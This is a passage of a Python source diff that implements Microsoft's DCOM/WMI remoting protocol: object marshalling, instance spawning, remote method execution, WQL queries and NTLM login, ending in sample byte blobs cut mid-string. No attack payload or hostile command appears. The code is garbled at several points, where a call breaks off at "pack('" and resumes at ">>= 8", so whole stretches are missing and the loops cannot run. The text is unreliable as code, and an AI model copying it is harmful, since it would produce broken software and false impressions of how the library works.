+ currentClass = encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] + encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = b'' + + encodingUnit['ObjectBlock']['InstanceType']['NdTable_ValueTable'] = packedNdTable + valueTable + encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000 + encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapItem'] = instanceHeap + + encodingUnit['ObjectBlock']['InstanceType']['EncodingLength'] = len(encodingUnit['ObjectBlock']['InstanceType']) + encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = currentClass + + encodingUnit['ObjectEncodingLength'] = len(encodingUnit['ObjectBlock']) + + #encodingUnit.dump() + #ENCODING_UNIT(str(encodingUnit)).dump() + + objRef['pObjectData'] = encodingUnit + + return objRef + + def SpawnInstance(self): + # Doing something similar to: + # https://docs.microsoft.com/windows/desktop/api/wbemcli/nf-wbemcli-iwbemclassobject-spawninstance + # + if self.encodingUnit['ObjectBlock'].isInstance() is False: + # We need to convert some things to transform a class into an instance + encodingUnit = ENCODING_UNIT() + + instanceData = OBJECT_BLOCK() + instanceData.structure += OBJECT_BLOCK.decoration + instanceData.structure += OBJECT_BLOCK.instanceType + instanceData['ObjectFlags'] = 6 + instanceData['Decoration'] = self.encodingUnit['ObjectBlock']['Decoration'].getData() + + instanceType = INSTANCE_TYPE() + instanceType['CurrentClass'] = b'' + + # Let's create the heap for the parameters + instanceHeap = b'' + valueTable = b'' + parametersClass = ENCODED_STRING() + parametersClass['Character'] = self.getClassName() + instanceHeap += parametersClass.getData() + curHeapPtr = len(instanceHeap) + + ndTable = 0 + properties = self.getProperties() + + # Let's initialize the values + for i, propName in enumerate(properties): + propRecord = properties[propName] + + pType = propRecord['type'] & (~(CIM_ARRAY_FLAG|Inherited)) + if propRecord['type'] & CIM_ARRAY_FLAG: + # Not yet ready + #print paramDefinition + #raise + packStr = HEAPREF[:-2] + else: + packStr = CIM_TYPES_REF[pType][:-2] + + if propRecord['type'] & CIM_ARRAY_FLAG: + valueTable += pack(packStr, 0) + elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value, + CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value): + valueTable += pack(packStr, 0) + elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: + # For now we just pack None + valueTable += b'\x00'*4 + # The default property value is NULL, and it is + # inherited from a parent class. + ndTable |= 3 << (2*i) + else: + strIn = ENCODED_STRING() + strIn['Character'] = '' + valueTable += pack('>= 8 + + instanceType['NdTable_ValueTable'] = packedNdTable + valueTable + + instanceType['InstanceQualifierSet'] = b'\x04\x00\x00\x00\x01' + + instanceType['InstanceHeap'] = HEAP() + instanceType['InstanceHeap']['HeapItem'] = instanceHeap + instanceType['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000 + instanceType['EncodingLength'] = len(instanceType) + + instanceType['CurrentClass'] = self.encodingUnit['ObjectBlock']['ClassType']['CurrentClass']['ClassPart'] + instanceData['InstanceType'] = instanceType.getData() + + encodingUnit['ObjectBlock'] = instanceData + encodingUnit['ObjectEncodingLength'] = len(instanceData) + + #ENCODING_UNIT(str(encodingUnit)).dump() + + objRefCustomIn = OBJREF_CUSTOM() + objRefCustomIn['iid'] = self._iid + objRefCustomIn['clsid'] = CLSID_WbemClassObject + objRefCustomIn['cbExtension'] = 0 + objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit) + objRefCustomIn['pObjectData'] = encodingUnit + + # There's gotta be a better way to do this + # I will reimplement this stuff once I know it works + import copy + newObj = copy.deepcopy(self) + newObj.set_objRef(objRefCustomIn.getData()) + newObj.process_interface(objRefCustomIn.getData()) + newObj.encodingUnit = ENCODING_UNIT(encodingUnit.getData()) + newObj.parseObject() + if newObj.encodingUnit['ObjectBlock'].isInstance() is False: + newObj.createMethods(newObj.getClassName(), newObj.getMethods()) + else: + newObj.createProperties(newObj.getProperties()) + + return newObj + else: + return self + + def createProperties(self, properties): + for property in properties: + # Do we have an object property? + if properties[property]['type'] == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: + # Yes.. let's create an Object for it too + objRef = OBJREF_CUSTOM() + objRef['iid'] = self._iid + objRef['clsid'] = CLSID_WbemClassObject + objRef['cbExtension'] = 0 + objRef['ObjectReferenceSize'] = len(properties[property]['value'].getData()) + objRef['pObjectData'] = properties[property]['value'] + value = IWbemClassObject( INTERFACE(self.get_cinstance(), objRef.getData(), self.get_ipidRemUnknown(), + oxid=self.get_oxid(), target=self.get_target())) + elif properties[property]['type'] == CIM_TYPE_ENUM.CIM_ARRAY_OBJECT.value: + if isinstance(properties[property]['value'], list): + value = list() + for item in properties[property]['value']: + # Yes.. let's create an Object for it too + objRef = OBJREF_CUSTOM() + objRef['iid'] = self._iid + objRef['clsid'] = CLSID_WbemClassObject + objRef['cbExtension'] = 0 + objRef['ObjectReferenceSize'] = len(item.getData()) + objRef['pObjectData'] = item + wbemClass = IWbemClassObject( + INTERFACE(self.get_cinstance(), objRef.getData(), self.get_ipidRemUnknown(), + oxid=self.get_oxid(), target=self.get_target())) + value.append(wbemClass) + else: + value = properties[property]['value'] + else: + value = properties[property]['value'] + setattr(self, property, value) + + def createMethods(self, classOrInstance, methods): + class FunctionPool: + def __init__(self,function): + self.function = function + def __getitem__(self,item): + return partial(self.function,item) + + @FunctionPool + def innerMethod(staticArgs, *args): + classOrInstance = staticArgs[0] + methodDefinition = staticArgs[1] + if methodDefinition['InParams'] is not None: + if len(args) != len(methodDefinition['InParams']): + LOG.error("Function called with %d parameters instead of %d!" % (len(args), len(methodDefinition['InParams']))) + return None + # In Params + encodingUnit = ENCODING_UNIT() + + inParams = OBJECT_BLOCK() + inParams.structure += OBJECT_BLOCK.instanceType + inParams['ObjectFlags'] = 2 + inParams['Decoration'] = b'' + + instanceType = INSTANCE_TYPE() + instanceType['CurrentClass'] = b'' + instanceType['InstanceQualifierSet'] = b'\x04\x00\x00\x00\x01' + + # Let's create the heap for the parameters + instanceHeap = b'' + valueTable = b'' + parametersClass = ENCODED_STRING() + parametersClass['Character'] = '__PARAMETERS' + instanceHeap += parametersClass.getData() + curHeapPtr = len(instanceHeap) + + ndTable = 0 + for i in range(len(args)): + paramDefinition = list(methodDefinition['InParams'].values())[i] + inArg = args[i] + + pType = paramDefinition['type'] & (~(CIM_ARRAY_FLAG|Inherited)) + if paramDefinition['type'] & CIM_ARRAY_FLAG: + # Not yet ready + #print paramDefinition + #raise + packStr = HEAPREF[:-2] + else: + packStr = CIM_TYPES_REF[pType][:-2] + + if paramDefinition['type'] & CIM_ARRAY_FLAG: + if inArg is None: + valueTable += pack(packStr, 0) + elif pType in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value, + CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value): + arraySize = pack(HEAPREF[:-2], len(inArg)) + arrayItems = [] + for j in range(len(inArg)): + curVal = inArg[j] + if pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: + curObject = b'' + marshaledObject = curVal.marshalMe() + curObject += pack('>= 8 + + instanceType['NdTable_ValueTable'] = packedNdTable + valueTable + heapRecord = HEAP() + heapRecord['HeapLength'] = len(instanceHeap) | 0x80000000 + heapRecord['HeapItem'] = instanceHeap + + instanceType['InstanceHeap'] = heapRecord + + instanceType['EncodingLength'] = len(instanceType) + inMethods = methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart'] + inMethods['ClassHeader']['EncodingLength'] = len( + methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart'].getData()) + instanceType['CurrentClass'] = inMethods + + inParams['InstanceType'] = instanceType.getData() + + encodingUnit['ObjectBlock'] = inParams + encodingUnit['ObjectEncodingLength'] = len(inParams) + + objRefCustomIn = OBJREF_CUSTOM() + objRefCustomIn['iid'] = self._iid + objRefCustomIn['clsid'] = CLSID_WbemClassObject + objRefCustomIn['cbExtension'] = 0 + objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit) + objRefCustomIn['pObjectData'] = encodingUnit + else: + objRefCustomIn = NULL + + ### OutParams + encodingUnit = ENCODING_UNIT() + + outParams = OBJECT_BLOCK() + outParams.structure += OBJECT_BLOCK.instanceType + outParams['ObjectFlags'] = 2 + outParams['Decoration'] = b'' + + instanceType = INSTANCE_TYPE() + instanceType['CurrentClass'] = b'' + instanceType['NdTable_ValueTable'] = b'' + instanceType['InstanceQualifierSet'] = b'' + instanceType['InstanceHeap'] = b'' + instanceType['EncodingLength'] = len(instanceType) + instanceType['CurrentClass'] = methodDefinition['OutParamsRaw']['ClassType']['CurrentClass']['ClassPart'].getData() + outParams['InstanceType'] = instanceType.getData() + + + encodingUnit['ObjectBlock'] = outParams + encodingUnit['ObjectEncodingLength'] = len(outParams) + + objRefCustom = OBJREF_CUSTOM() + objRefCustom['iid'] = self._iid + objRefCustom['clsid'] = CLSID_WbemClassObject + objRefCustom['cbExtension'] = 0 + objRefCustom['ObjectReferenceSize'] = len(encodingUnit) + objRefCustom['pObjectData'] = encodingUnit + try: + return self.__iWbemServices.ExecMethod(classOrInstance, methodDefinition['name'], pInParams = objRefCustomIn ) + #return self.__iWbemServices.ExecMethod('Win32_Process.Handle="436"', methodDefinition['name'], + # pInParams=objRefCustomIn).getObject().ctCurrent['properties'] + except Exception as e: + if LOG.level == logging.DEBUG: + import traceback + traceback.print_exc() + LOG.error(str(e)) + + for methodName in methods: + innerMethod.__name__ = methodName + setattr(self,innerMethod.__name__,innerMethod[classOrInstance,methods[methodName]]) + #methods = self.encodingUnit['ObjectBlock'] + + +class IWbemLoginClientID(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemLoginClientID + + def SetClientInfo(self, wszClientMachine, lClientProcId = 1234): + request = IWbemLoginClientID_SetClientInfo() + request['wszClientMachine'] = checkNullString(wszClientMachine) + request['lClientProcId'] = lClientProcId + request['lReserved'] = 0 + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + +class IWbemLoginHelper(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemLoginHelper + + def SetEvent(self, sEventToSet): + request = IWbemLoginHelper_SetEvent() + request['sEventToSet'] = sEventToSet + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + +class IWbemWCOSmartEnum(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemWCOSmartEnum + + def Next(self, proxyGUID, lTimeout, uCount): + request = IWbemWCOSmartEnum_Next() + request['proxyGUID'] = proxyGUID + request['lTimeout'] = lTimeout + request['uCount'] = uCount + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IWbemFetchSmartEnum(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemFetchSmartEnum + + def GetSmartEnum(self, lTimeout): + request = IWbemFetchSmartEnum_GetSmartEnum() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IWbemCallResult(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemCallResult + + def GetResultObject(self, lTimeout): + request = IWbemCallResult_GetResultObject() + request['lTimeout'] = lTimeout + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def GetResultString(self, lTimeout): + request = IWbemCallResult_GetResultString() + request['lTimeout'] = lTimeout + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def GetResultServices(self, lTimeout): + request = IWbemCallResult_GetResultServices() + request['lTimeout'] = lTimeout + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def GetCallStatus(self, lTimeout): + request = IWbemCallResult_GetCallStatus() + request['lTimeout'] = lTimeout + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['plStatus'] + +class IEnumWbemClassObject(IRemUnknown): + def __init__(self, interface, iWbemServices = None): + IRemUnknown.__init__(self,interface) + self._iid = IID_IEnumWbemClassObject + self.__iWbemServices = iWbemServices + + def Reset(self): + request = IEnumWbemClassObject_Reset() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def Next(self, lTimeout, uCount): + request = IEnumWbemClassObject_Next() + request['lTimeout'] = lTimeout + request['uCount'] = uCount + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + interfaces = list() + for interface in resp['apObjects']: + interfaces.append(IWbemClassObject( + INTERFACE(self.get_cinstance(), b''.join(interface['abData']), self.get_ipidRemUnknown(), + oxid=self.get_oxid(), target=self.get_target()), self.__iWbemServices)) + + return interfaces + + def NextAsync(self, lTimeout, pSink): + request = IEnumWbemClassObject_NextAsync() + request['lTimeout'] = lTimeout + request['pSink'] = pSink + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def Clone(self): + request = IEnumWbemClassObject_Clone() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def Skip(self, lTimeout, uCount): + request = IEnumWbemClassObject_Skip() + request['lTimeout'] = lTimeout + request['uCount'] = uCount + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IWbemServices(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemServices + + def OpenNamespace(self, strNamespace, lFlags=0, pCtx = NULL): + request = IWbemServices_OpenNamespace() + request['strNamespace']['asData'] = strNamespace + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def CancelAsyncCall(self,IWbemObjectSink ): + request = IWbemServices_CancelAsyncCall() + request['IWbemObjectSink'] = IWbemObjectSink + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['ErrorCode'] + + def QueryObjectSink(self): + request = IWbemServices_QueryObjectSink() + request['lFlags'] = 0 + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return INTERFACE(self.get_cinstance(), b''.join(resp['ppResponseHandler']['abData']), self.get_ipidRemUnknown(), + target=self.get_target()) + + def GetObject(self, strObjectPath, lFlags=0, pCtx=NULL): + request = IWbemServices_GetObject() + request['strObjectPath']['asData'] = strObjectPath + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + ppObject = IWbemClassObject( + INTERFACE(self.get_cinstance(), b''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(), + oxid=self.get_oxid(), target=self.get_target()), self) + if resp['ppCallResult'] != NULL: + ppcallResult = IWbemCallResult( + INTERFACE(self.get_cinstance(), b''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + else: + ppcallResult = NULL + return ppObject, ppcallResult + + def GetObjectAsync(self, strNamespace, lFlags=0, pCtx = NULL): + request = IWbemServices_GetObjectAsync() + request['strObjectPath']['asData'] = checkNullString(strNamespace) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def PutClass(self, pObject, lFlags=0, pCtx=NULL): + request = IWbemServices_PutClass() + request['pObject'] = pObject + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def PutClassAsync(self, pObject, lFlags=0, pCtx=NULL): + request = IWbemServices_PutClassAsync() + request['pObject'] = pObject + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def DeleteClass(self, strClass, lFlags=0, pCtx=NULL): + request = IWbemServices_DeleteClass() + request['strClass']['asData'] = checkNullString(strClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def DeleteClassAsync(self, strClass, lFlags=0, pCtx=NULL): + request = IWbemServices_DeleteClassAsync() + request['strClass']['asData'] = checkNullString(strClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def CreateClassEnum(self, strSuperClass, lFlags=0, pCtx=NULL): + request = IWbemServices_CreateClassEnum() + request['strSuperClass']['asData'] = checkNullString(strSuperClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def CreateClassEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL): + request = IWbemServices_CreateClassEnumAsync() + request['strSuperClass']['asData'] = checkNullString(strSuperClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def PutInstance(self, pInst, lFlags=0, pCtx=NULL): + request = IWbemServices_PutInstance() + + if pInst is NULL: + request['pInst'] = pInst + else: + request['pInst']['ulCntData'] = len(pInst) + request['pInst']['abData'] = list(pInst.getData()) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IWbemCallResult( + INTERFACE(self.get_cinstance(), b''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + + def PutInstanceAsync(self, pInst, lFlags=0, pCtx=NULL): + request = IWbemServices_PutInstanceAsync() + request['pInst'] = pInst + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def DeleteInstance(self, strObjectPath, lFlags=0, pCtx=NULL): + request = IWbemServices_DeleteInstance() + request['strObjectPath']['asData'] = checkNullString(strObjectPath) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IWbemCallResult( + INTERFACE(self.get_cinstance(), b''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + + def DeleteInstanceAsync(self, strObjectPath, lFlags=0, pCtx=NULL): + request = IWbemServices_DeleteInstanceAsync() + request['strObjectPath']['asData'] = checkNullString(strObjectPath) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def CreateInstanceEnum(self, strSuperClass, lFlags=0, pCtx=NULL): + request = IWbemServices_CreateInstanceEnum() + request['strSuperClass']['asData'] = strSuperClass + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return IEnumWbemClassObject( + INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + + def CreateInstanceEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL): + request = IWbemServices_CreateInstanceEnumAsync() + request['strSuperClass']['asData'] = checkNullString(strSuperClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + #def ExecQuery(self, strQuery, lFlags=WBEM_QUERY_FLAG_TYPE.WBEM_FLAG_PROTOTYPE, pCtx=NULL): + def ExecQuery(self, strQuery, lFlags=0, pCtx=NULL): + request = IWbemServices_ExecQuery() + request['strQueryLanguage']['asData'] = checkNullString('WQL') + request['strQuery']['asData'] = checkNullString(strQuery) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IEnumWbemClassObject( + INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), + target=self.get_target()), self) + + def ExecQueryAsync(self, strQuery, lFlags=0, pCtx=NULL): + request = IWbemServices_ExecQueryAsync() + request['strQueryLanguage']['asData'] = checkNullString('WQL') + request['strQuery']['asData'] = checkNullString(strQuery) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def ExecNotificationQuery(self, strQuery, lFlags=0, pCtx=NULL): + request = IWbemServices_ExecNotificationQuery() + request['strQueryLanguage']['asData'] = checkNullString('WQL') + request['strQuery']['asData'] = checkNullString(strQuery) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IEnumWbemClassObject( + INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), + target=self.get_target()), self) + + def ExecNotificationQueryAsync(self, strQuery, lFlags=0, pCtx=NULL): + request = IWbemServices_ExecNotificationQueryAsync() + request['strQueryLanguage']['asData'] = checkNullString('WQL') + request['strQuery']['asData'] = checkNullString(strQuery) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def ExecMethod(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL, ppOutParams = NULL): + request = IWbemServices_ExecMethod() + request['strObjectPath']['asData'] = checkNullString(strObjectPath) + request['strMethodName']['asData'] = checkNullString(strMethodName) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + if pInParams is NULL: + request['pInParams'] = pInParams + else: + request['pInParams']['ulCntData'] = len(pInParams) + request['pInParams']['abData'] = list(pInParams.getData()) + + request.fields['ppCallResult'] = NULL + if ppOutParams is NULL: + request.fields['ppOutParams'].fields['Data'] = NULL + else: + request['ppOutParams']['ulCntData'] = len(ppOutParams.getData()) + request['ppOutParams']['abData'] = list(ppOutParams.getData()) + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IWbemClassObject( + INTERFACE(self.get_cinstance(), b''.join(resp['ppOutParams']['abData']), self.get_ipidRemUnknown(), + oxid=self.get_oxid(), target=self.get_target())) + + def ExecMethodAsync(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL): + request = IWbemServices_ExecMethodAsync() + request['strObjectPath']['asData'] = checkNullString(strObjectPath) + request['strMethodName']['asData'] = checkNullString(strMethodName) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + request['pInParams'] = pInParams + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IWbemLevel1Login(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemLevel1Login + + def EstablishPosition(self): + request = IWbemLevel1Login_EstablishPosition() + request['reserved1'] = NULL + request['reserved2'] = 0 + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['LocaleVersion'] + + def RequestChallenge(self): + request = IWbemLevel1Login_RequestChallenge() + request['reserved1'] = NULL + request['reserved2'] = NULL + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['reserved3'] + + def WBEMLogin(self): + request = IWbemLevel1Login_WBEMLogin() + request['reserved1'] = NULL + request['reserved2'] = NULL + request['reserved3'] = 0 + request['reserved4'] = NULL + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['reserved5'] + + def NTLMLogin(self, wszNetworkResource, wszPreferredLocale, pCtx): + request = IWbemLevel1Login_NTLMLogin() + request['wszNetworkResource'] = checkNullString(wszNetworkResource) + request['wszPreferredLocale'] = checkNullString(wszPreferredLocale) + request['lFlags'] = 0 + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IWbemServices( + INTERFACE(self.get_cinstance(), b''.join(resp['ppNamespace']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + + +if __name__ == '__main__': + # Example 1 + baseClass = b'xV4\x12\xd0\x00\x00\x00\x05\x00DPRAVAT-DEV\x00\x00ROOT\x00\x1d\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80f\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\n\x00\x00\x00\x05\xff\xff\xff\xff<\x00\x00\x80\x00Base\x00\x00Id\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x004\x00\x00\x00\x01\x00\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x0c\x00\x00\x00\x00\x004\x00\x00\x00\x00\x80\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00' + + #encodingUnit = ENCODING_UNIT(baseClass) + #encodingUnit.dump() + #encodingUnit['ObjectBlock'].printInformation() + #print "LEN ", len(baseClass), len(encodingUnit) + + #myClass = b"xV4\x12.\x02\x00\x00\x05\x00DPRAVAT-DEV\x00\x00ROOT\x00f\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\n\x00\x00\x00\x05\xff\xff\xff\xff<\x00\x00\x80\x00Base\x00\x00Id\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x004\x00\x00\x00\x01\x00\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x0c\x00\x00\x00\x00\x004\x00\x00\x00\x00\x80v\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x0e\x00\x00\x00\x00Base\x00\x06\x00\x00\x00\x11\x00\x00\x00\t\x00\x00\x00\x00\x08\x00\x00\x00\x16\x00\x00\x00\x04\x00\x00\x00'\x00\x00\x00.\x00\x00\x00U\x00\x00\x00\\\x00\x00\x00\x99\x00\x00\x00\xa0\x00\x00\x00\xc7\x00\x00\x00\xcb\x00\x00\x00G\xff\xff\xff\xff\xff\xff\xff\xff\xfd\x00\x00\x00\xff\xff\xff\xff\x11\x01\x00\x80\x00MyClass\x00\x00Description\x00\x00MyClass Example\x00\x00Array\x00\x13 \x00\x00\x03\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00M\x00\x00\x00\x00uint32\x00\x00Data1\x00\x08\x00\x00\x00\x01\x00\x04\x00\x00\x00\x01\x00\x00\x00'\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\x91\x00\x00\x00\x03\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x04\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x00string\x00\x00Data2\x00\x08\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\xbf\x00\x00\x00\x00string\x00\x00Id\x00\x03@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80#\x08\x00\x00\x00\xf5\x00\x00\x00\x01\x00\x00\x803\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00s\x00\x00\x00\x802\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00" + #hexdump(myClass) + #encodingUnit = ENCODING_UNIT(myClass) + #print "LEN ", len(myClass), len(encodingUnit) + #encodingUnit.dump() + #encodingUnit['ObjectBlock'].printInformation() + + #instanceMyClass = b"xV4\x12\xd3\x01\x00\x00\x06\x00DPRAVAT-DEV\x00\x00ROOT\x00v\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x0e\x00\x00\x00\x00Base\x00\x06\x00\x00\x00\x11\x00\x00\x00\t\x00\x00\x00\x00\x08\x00\x00\x00\x16\x00\x00\x00\x04\x00\x00\x00'\x00\x00\x00.\x00\x00\x00U\x00\x00\x00\\\x00\x00\x00\x99\x00\x00\x00\xa0\x00\x00\x00\xc7\x00\x00\x00\xcb\x00\x00\x00G\xff\xff\xff\xff\xff\xff\xff\xff\xfd\x00\x00\x00\xff\xff\xff\xff\x11\x01\x00\x80\x00MyClass\x00\x00Description\x00\x00MyClass Example\x00\x00Array\x00\x13 